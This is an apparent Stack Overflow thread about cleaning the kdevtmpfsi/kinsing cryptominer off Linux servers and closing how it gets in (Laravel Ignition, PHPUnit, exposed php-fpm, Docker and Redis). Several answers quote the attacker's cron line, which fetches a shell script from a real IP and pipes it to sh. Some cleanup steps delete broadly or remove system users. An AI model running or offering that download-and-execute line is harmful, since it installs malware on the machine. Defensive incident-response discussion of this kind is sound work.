kdevtmpfsi using the entire CPU [closed]

Question

We are using an EC2(Ubuntu) amazon instance for running Apache.Recently we noticed that there is a process using the entire CPU.

We removed it using the help of the following procedure

[root@hadoop002 tmp]# systemctl status 25177
● session-5772.scope - Session 5772 of user root
   Loaded: loaded (/run/systemd/system/session-5772.scope; static; vendor preset: disabled)
  Drop-In: /run/systemd/system/session-5772.scope.d
           └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
   Active: active (abandoned) since Wed 2020-01-22 16:06:01 CST; 1h 21min ago
   CGroup: /user.slice/user-0.slice/session-5772.scope
           ├─19331 /var/tmp/kinsing
           └─25177 /tmp/kdevtmpfsi

Jan 22 16:06:17 hadoop002 crontab[19353]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19354]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19366]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19374]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19375]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19383]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19389]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19390]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19392]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19393]: (root) LIST (root)
[root@hadoop002 tmp]# ps -ef|grep kinsing
root     19331     1  0 16:06 ?        00:00:04 /var/tmp/kinsing
root     25190 23274  0 17:27 pts/0    00:00:00 grep --color=auto kinsing
[root@hadoop002 tmp]# ps -ef|grep kdevtmpfsi
root     25177     1 99 17:27 ?        00:01:47 /tmp/kdevtmpfsi
root     25197 23274  0 17:28 pts/0    00:00:00 grep --color=auto kdevtmpfsi
[root@hadoop002 tmp]# kill -9 19331
[root@hadoop002 tmp]# kill -9 25177
[root@hadoop002 tmp]# rm -rf kdevtmpfsi
[root@hadoop002 tmp]# cd /var/tmp/
[root@hadoop002 tmp]# ll
total 16692
-rw-r--r-- 1 root root        0 Jan 13 19:45 aliyun_assist_update.lock
-rwxr-xr-x 1 root root    13176 Dec 20 02:14 for
-rwxr-xr-x 1 root root 17072128 Jan 19 17:43 kinsing
drwx------ 3 root root     4096 Jan 13 19:50 systemd-private-f3342ea6023044bda27f0261d2582ea3-chronyd.service-O7aPIg
[root@hadoop002 tmp]# rm -rf kinsing

But after a few minutes, It again started automatically. Anyone know how to fix this?

Uzial

I fixed it changing the 9000 PHP-FPM port!!!!! And I kill the process and delete the malware files. Rebuild your docker image too! kill -9 $(pidof kdevtmpfsi) kill -9 $(pidof kinsing) kill $(pgrep kdevtmp) kill $(pgrep kdevtmpfs) find / -iname kdevtmpfsi -exec rm -fv {} \; find / -iname kinsing -exec rm -fv {} \; rm /tmp/kdevtmp* rm /tmp/kinsing* – Tolmach

Answer 1

The solution mentioned here worked for us. You basically create the files the miner uses, without any rights, so the miner cannot create and use them. https://github.com/docker-library/redis/issues/217

touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing

echo "everything is good here" > /tmp/kdevtmpfsi

echo "everything is good here" > /var/tmp/kinsing

touch /tmp/zzz

echo "everything is good here" > /tmp/zzz

chmod go-rwx /var/tmp

chmod 1777 /tmp

Borer

While this link may answer the question, you should include the linked information here – Gilgamesh

after a while the files are deleted? any other posible solution? the virus keeps reinstalling itself – Catharinecatharsis

@CristóbalFelipeFicaUrzúa Are you using PHP? We fix this issue permanantly – Uzial

yes php and wordpress. I finally resolve the issue adding the user to cron.deny and everything else you mentioned – Catharinecatharsis

In my case, It is due to PHP injection in a PHPUnit file. I have created a new server and enabled mod_security, My suggestion is to use another server with mod_security enabled @CristóbalFelipeFicaUrzúa – Uzial

this didn't work for me.. it was creating file with random names .. like kdevtmpfsi879654124 – Leucoplast

Answer 2

I had the same issue with Laravel in Centos 8, This is the steps I followed to remove the malware and patch the system.

---

Removing the malware from system steps: Step 1:

Remove the malware:
Kill the two process (kdevtmpfsi and kinsing -They can be in the same name but with random characters at the end-) using htop or any other process manager.

htop F3 to search services kdevtmpfsi And kinsing

Use the following to find and delete the files:

# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;

The output should look like:

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

Step 2:

Check for a cron job:
check if there is a cron job that would reinitialized the malware.
I found mine in: /var/spool/cron/apache >

UBUNTU /var/spool/cron/crontabs/www-data

It included the following :
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Step 3:

Make new files and make them readonly:

# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing

---

Patching Laravel project: Step 1:

Turn off APP_DEBUG:
make sure that the APP_DEBUG attribute is false in .env because that's how the vulnerability gets access.

Step 2:

Update ignition:
Update ignition to a version higher than 2.5.1 to make sure the vulnerability is patched.
run the following in your project folder:

$ composer update facade/ignition

Flatworm

Great step by step. That was my scenario: an attack via Ignition, confirmed by checking the Apache log. – Panhellenism

Same scenario thank you! But the last igntion version is 2.4.1 – Vivi

Glad I could help, the last version is 2.5.13 you can check the releases page to make sure. github.com/facade/ignition/releases – Flatworm

This worked great. One thing I had to reboot and no more attacks. – Huesman

Great help! Thanks – Telencephalon

Cron was installed here : sudo crontab -u www-data -e – Trustbuster

The lr.sh script comes from the same IP in my instance. That guy hasn't been stopped already? How can this be possible? – Contrivance

@Martin he is exploiting a bug in an old version so he won't stop by now, or it's a legacy code by now. – Flatworm

Don't forget to restart the server after these step.. This will help to complete stop. – Trustbuster

Easy command to grep pid and kill: kill $(ps aux | grep kdevtmpfsi | awk '{print $2}') kill $(ps aux | grep kinsing | awk '{print $2}') – Bobodioulasso

Step 3 is useless because in my case it will generate another file with random generated number. So my additional step to permanently fixed by scan incoming connection netstat -antp and kill it, and then block the ip using ufw deny from x.x.x.x to any – Monsoon

Great answer! For these lines, I needed to put kdevtmpfsi* and kinsing* in quotes to make it work properly. # find / -iname kdevtmpfsi* -exec rm -fv {} \; # find / -iname kinsing* -exec rm -fv {} \; – Engrossment

@Flatworm your solution does not work any more - the malware gets created with different names etc. It penetrates into the system via open ports, in my case it was with php-fpm port 9000. So in docker you need map only to local machine - not to the world – Autotrophic

@Autotrophic I am sorry to hear that your machine got infected with the virus, and also sorry to know that the malware got more tricky. Do you have any new commands or tricks to add to my answer? If you do I would be happy to accept your edit. – Flatworm

Not a big deal, got rid of it today. It was fun! – Autotrophic

@Autotrophic ok glad you could find the issue and solve it. – Flatworm

You need to do that and change the PHP-FPM 9000 port to another. This is very important because they use this default port to insert the malware. – Tolmach

Answer 3

I've struggled with this miner for few days and in my case it was the php-fpm:9000 port exposed.
I guess it possible to inject some code remotly this way.

So if you use docker with php-fpm, do NOT run your container this way:

docker run -v /www:/var/www -p 9000:9000 php:7.4

Remove the port mapping: -p 9000:9000.

Don't forget to re-build & restart your containers.

More details here: https://github.com/laradock/laradock/issues/2451#issuecomment-577722571

Bass

This was it for me, my docker-compose.yml was exposing php-fpm to the internet, I overlooked that a few times today so thanks for your reply. – Standpipe

fixed the issue for me too.. but i needed that port so instead of removing it i changed the 9000 port something else – Leucoplast

@AmirHeshmati You really need php-fpm exposed to the world ? If you want it opened only to the machine (localhost), in case others services (non-docker for instance) would access to it you can restrict the mapping to 127.0.0.1 this way : 127.0.0.1:9000:9000 You can google for "docker expose port only locally" – Bass

Yes, this works to me! I kill the malware processes and the malware files, change the 9000 PHP-FPM port and rebuild docker. – Tolmach

Answer 4

I face to face with it after i installed and run the Flink Cluster. Seem like we are got a attack by a malware, it trying to use our server's cpu to run the program to mine the coin.

My solution is following steps:

1. Kill the program is running first:

   • Run htop and then push F9 to kill program. We have to kill kdevtmpfsi and kinsing as well.

2. Delete malware file which is will be run and using the entire CPU (With my centos 7)

   find / -iname kdevtmpfsi -exec rm -fv {} \;

   find / -iname kinsing -exec rm -fv {} \;

The result should be:

/tmp/kdevtmpfsi is removed
/var/tmp/kinsing is removed

3. Create a file with same name:

• touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing

• echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi

• echo "kinsing is fine now" > /var/tmp/kinsing

• Now make two files is read-only with following command:

  chattr +i /tmp/kdevtmpfsi chattr +i /var/tmp/kinsing

** You should be reboot your server. If its problem is in a remote server, and you are connecting to it with a specify port, you can change to ssh port to increase security!

Imre

Answer 5

I also was affected by this malware and I was not using Docker or running the PHPUnit vulnerability. I found this post:

https://www.ambionics.io/blog/laravel-debug-rce

which describes there was a vulnerability in facade/ignition < 2.5.2 when using Laravel in Debug mode.

Extract of Laravel .env file:

...
APP_DEBUG=true
...

After updating facade/ignition with Composer to a version > 2.5.1 and stopping the malware (steps described in the other answers), it did not came back.

Extract of Laravel composer.json file

...
"facade/ignition": "^2.5.1",
...

...then run command

composer update facade/ignition

Stinkhorn

Answer 6

The other answer here is good, and you should do everything mentioned there. But, if the thing keeps coming back, and/or you aren't actually using Docker, you probably have an unpatched RCE vulnerability in phpUnit. The details are here:

https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce/php/sid-4487

Our situation was:

• Docker is not being used at all.
• We had removed all files related to the miner.
• We had locked things down using the above touch and chmod commands.
• The damn thing kept trying to run at seemingly random times.

After you've locked things down with the touch/chmod changes, it can't actually DO anything, but it's still annoying, and that phpUnit vulnerability is a HUGE hole that needs plugging anyway.

Hope this helps.

Microampere

Answer 7

Ok I've been facing the same issue as a lot of you. But my process was running as a postgres user. I suspect it was because I had opened up all incoming connections.

Yeah sure, my bad.

After trying all the solutions above none seemed to fix it permanently. It just kept spawning again with a slightly different name. No luck at all really.

First - protect agaisnt any other connections.

First things first, restrict connections in the postgres config file.

Usually found here. /etc/postgresql/12/main/postgresql.conf

Create a script to kill and remove kdevtmpfsi

Then create a new bash script in a location of your choosing..

nano kill.sh

Populate the file with the below.

#!/bin/bash

kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*

press ctrl + c to exit

kill will kill the process and the next 4 commands should delete the file(s).

We need to make the file executable with

chmod +x kill.sh

Set it to run on schedule

Ok great now if we set this up as a cron job to run every minute it should help solve the issue. (not an elegant solution but it works)

sudo crontab -e

The above command opens the crontab, a place were we can define scheduled tasks to run at set intervals.

Append this to the end.

* * * * * sh {absolutepath}kill.sh > /tmp/kill.log

ie

* * * * * sh /home/user/kill.sh > /tmp/kill.log

---

What the crontab entry does

* * * * * sets the time - this means every minute

sh /home/user/kill.sh runs the kill script

&

> /tmp/kill.log writes any output to file.

I know this is not a good solution. But it works.

Clarettaclarette

The best answer, the miner back and back, with this script I achieved to stop it while I upgrade my instance. In my case it was an old gitlab, also check crontab (i.e /var/spool/cron/crontabs/git) – Illiteracy

@Lewis This works great with only one caveat. Whenever the maleware starts its processes, the postgres server stops. This happens around every ~1 day. – Asperges

@Asperges mine does not do this, so they maybe have updated the code. As long as your db is running as with systemd & the correct cofig it should autoreload. A pain I know but it is what it is. This was also a long time ago I wrote this, there maybe other answers now with better solutions. – Clarettaclarette

Answer 8

It appears there are many vectors of attack in which this malware can be loaded onto the server. In my case the malware got to the machine through the docker:

# locate kdevtmpfsi
/var/lib/docker/overlay2/17be841bd29c[..]/diff/tmp/kdevtmpfsi
/var/lib/docker/overlay2/17be841bd29c[..]/merged/tmp/kdevtmpfsi

Docker by default exposes containers ports publicly, which is rather unfortunate. To fix it you will need to remove the malware and patch docker:

# First, stop all docker containers
$ docker stop $(docker ps -aq)
# Prune all images just for a good measure
$ docker system prune

# Kill current malware process
$ ps aux | grep kdevtmpfsi
70       21686  393 29.3 2873416 2402832 ?     Ssl  22:01  19:22 /tmp/kdevtmpfsi116044092
$ kill -9 21686
# Remove any files with the name kdevtmpfsi
$ find / -iname kdevtmpfsi* -exec rm -fv {} \;
# You might need to repeat the last two commands couple times just in case 

# Stop exposing docker ports with the use of IP tables
$ iptables -I DOCKER-USER -i eth0 -j DROP
$ iptables -I DOCKER-USER -m state --state RELATED,ESTABLISHED -j ACCEPT

# If no new kdevtmpfsi processes appear you should be good.

Malware is adapting and many of the solutions here do not work anymore. Experiment with few approaches till you figure our what was the vector of attack in your case.

Chuck

Man, thank you! Your answer is the most actual for today – Autotrophic

Answer 9

I'm also facing the same issue in Ubuntu 18.04.5 LTS after deleting the malware files /tmp/kinsing & /tmp/kdevtmpfsi its generating automatically.

Fixing this issue created the bash script & set the cronjobs to run.

My solution is following steps:

1. Kill the program is running first:

Run htop and then push F9 to kill program. We have to kill kdevtmpfsi and kinsing as well.

2. Delete malware file which is will be run and using the entire CPU

#!/bin/bash

# kinsing deleteing here
PID=$(pidof kinsing)
echo "$PID"
kill -9 $PID


# /tmp/kinsing deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kinsing)
echo "$PID"
kill -9 $PID


# kdevtmpfsi deleteing here
PID=$(pidof kdevtmpfsi)
echo "$PID"
kill -9 $PID


# /tmp/kdevtmpfsi deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kdevtmpfsi)
echo "$PID"
kill -9 $PID

# Delete malware files
find / -iname kdevtmpfsi -exec rm -fv {} \;

find / -iname kinsing -exec rm -fv {} \;

Save this one file (some-script.sh) configure the cronjobs for this

Step 1: Open crontab (the cron editor) with the following command.

$ crontab -e

Step 2: If this is your first time accessing crontab, your system will likely ask you which editor you'd prefer to use. In this example, we'll go with nano (type 1 and then Enter) since it's the easiest to understand.

$ crontab -e
no crontab for linuxconfig - using an empty one

Select an editor.  To change later, run 'select-editor'.
  1. /bin/nano        <---- easiest
  2. /usr/bin/vim.basic
  3. /usr/bin/vim.tiny
  4. /bin/ed

Choose 1-4 [1]:

Step 3: Make a new line at the bottom of this file and insert the following code. Of course, replace our example script with the command or script you wish to execute, but keep the */5 * * * * part as that is what tells cron to execute our job every 5 minutes.

*/5 * * * * /path/to/some-script.sh

Step 4: Exit this file and save changes. To do that in nano, you'd need to press Ctrl + X, Y, and then Enter.

That's all there is to it. Scheduling jobs in cron will run Every 5 Mins.

Tarahtaran

Answer 10

So, at the platform I worked at we had the same problem yep, on an ECS2 instance. But our culprit was Redis, someone forgot to set a password on the day before and by morning we woke up to our dashboard notifying us about weird spikes of CPU usage.

If you want to verify that the malware is still running, run ps aux | grep -v grep | grep 'kinsing|kdevtmpfsi' If it outputs anything it means it is executing in some form.

Our solution was: In our Redis database we deleted a bunch of keys called "backup1" "backup2", "backup3", "backup4".

Then we ssh to the server and used

sudo su root
ps aux | grep -v grep | grep 'kinsing\|kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
rm -dr /tmp/kdevtmpfsi
rm -dr /var/tmp/kdevtmpfsi

We also managed to download the script that was being scheduled to execute all the time through Redis and crontab, I assume it is what reinstalled the damned malware over and over again while we tried to remove it, its quite well made, it also kills other miners that it detects, besides trying to disable SELinux and apparmor and some other important stuff. Really amazing stuff.

I've pasted it here: https://pastebin.com/jiifURXy

Topple

Answer 11

#!/bin/bash

kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
kill $(pgrep dbused)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
find / -iname dbused -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*
rm /tmp/dbused*
ps -ef | grep “givemexyz” | awk ‘{print $2}’| xargs pkill
ps -ef | grep “dbuse” | awk ‘{print $2}’| xargs pkill
rm -rf /bin/bprofr /bin/sysdr /bin/crondr /bin/initdr /usr/bin/bprofr /usr/bin/sysdr /usr/bin/crondr /usr/bin/initdr /tmp/dbused /tmp/dbusex /tmp/xms /tmp/x86_64 /tmp/i686 /tmp/go /tmp/x64b /tmp/x32b /tmp/2start.jpg

and

crontab -u gitlab -e

delete * * * * * (curl -fsSL $url/xms||wget -q -O-

Phosphorescence

I can't believe that even today people are still suggesting workarounds to reduce the impact .... a compromised machine needs to be taken down, replaced w/ a clean, fully patched and hardened system. – Tibiotarsus

@Tibiotarsus Workarounds are needed and welcomed but yeah they should be accompanied by a warning "this is a temporary fix but you MUST replace the system" – Backscratcher

Answer 12

I found all the above solutions helpful but all of them are seems the temporary solution as we need to monitor the instance and if we notice any malicious activity then do the same process again.

I have come across this virus around 1 month back and applied all the solutions above which works fine for the limited period after that, it will come again.

Even I didn't install docker in the system so docker open API port was not an issue.

But there are some open-source software which are the open gate for kinsing.

PhpMailer and Solr have some Remote Code Exec vulnerability cause the whole issue.

The easy solution is to upgrade your Solr version to 8.5.1 and there one more thing you can set as security which will 100% remove the virus and it will be permanent.

Here is the full explanation: https://github.com/amulcse/solr-kinsing-malware

Unbeliever

Answer 13

I faced that issue and I solved it by running the following commands:

first login as a root an delete the user that has the process, in your case is www-data

sudo deluser --remove-home www-data

second kill the process of the user

killall --user www-data

Delitescent

I had to run the 2nd command first and immediately the 1st one, because the user continued creating processes and that was preventing to delete it. I just wonder what consequences does it imply. Is it not the user managed by the web server? – Testimonial

The os will create the user again cuz as you said, it managed by the server, so, I created a shell script that kills the user process without deleting the user and runs it in the crontab every 5 min. – Delitescent

This breaks your webserver :) – Giselagiselbert

Answer 14

in my case it run from www-data user: helps this:

sudo crontab -u www-data -e

remove this line(cron job):

* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Cannula

Answer 15

In some cases this may be due to a security breach found in a Laravel <= v8.4.2 on package facade/ignition. CVE-2021-3129

Here we have an article that explains how the malware works: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)

This problem was resolved in version 2.4.2 of this package. (facade/ignition)

If I were in your place, I would consider your instance as compromised and create a new one. In the tests I did, the malware changes places and adapts to changes made to the system in an attempt to stop it.

Momentum

Answer 16

Maybe this would be useful for somebody. I've found some other entries of kinsing/kdevtmpfsi:

/etc/kinsing

/usr/lib/systemd/system/bot.service

In bot.service:

ExecStart=/etc/kinsing

I've just followed instructions from this tread, deleted both files, rebooted server.

Hope it will help for somebody. I've spent all day trying to solve it.

Sandisandidge

Answer 17

I found this solution to temporary stop the process from running (not using Docker/Redis, so the hole is most likely in phpunit):

/bin/setfacl -m u:www-data:--- /tmp/kinsing
/bin/setfacl -m u:www-data:--- /tmp/kdevtmpfsi

It will prevent user www-data (who, in my case, was running the process) from executing the script.

Also, you will most likely have a cronjob added under user www-data - remove it and run service cron restart!

Remember, that's a temp fix/hack. You must update the vulnerable software to permanently remove this thread!

Tiein

unlucky the malware change name when can't write on the kdevtmpfsi one. I have now kdevtmpfsi122935473 kdevtmpfsi314630957 kdevtmpfsi638269483 kdevtmpfsi880303079 – Admeasure

Maybe try /bin/setfacl -m u:www-data:--- /tmp/kdevtmpfsi*? – Tiein

the problem is that after some minutes i have a new file created – Admeasure

Answer 18

If you tried all of the methods above but still the virus still shows up, maybe in a new name, you should check the opened ports of the server and that's where the malware got into your server.

For security, you should:

1. start the firewall.
2. if you need to visit some ports of the remote server, use Port Forwarding technique.

This will make your server be safe, and no more kdevtmpfsi.

Hawley

Answer 19

For AWS users, remove allowing all ports(0.0.0.0/0) as outbound in instance security.

Spillway